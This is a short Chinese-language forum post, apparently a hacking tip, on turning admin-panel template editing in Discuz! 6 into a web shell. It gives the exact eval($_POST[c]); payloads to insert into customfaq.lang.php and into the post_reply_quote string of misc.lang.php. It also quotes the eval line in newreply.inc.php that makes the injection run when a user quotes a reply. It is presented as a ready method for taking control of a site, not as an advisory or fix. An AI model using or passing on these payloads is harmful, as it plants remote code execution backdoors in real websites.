[原創]Discuz! 6 後台拿Shell的方法

        
如果後台可以線上編輯模板的話，下面的方法就可以拿SHELL了：）

1.後台編輯customfaq(customfaq.lang.php檔案)
在

Copy code
eval($_POST[c]);

2.後台編輯misc(misc.lang.php檔案)
把post_reply_quote對應的內容改為

Copy code
";eval($_POST[c]);"

在前台回帖處選擇引用回複。
簡單看下代碼：

include/newreply.inc.php 107行：

Copy code
eval("/$language[’post_reply_quote’] = /"$language[post_reply_quote]/";");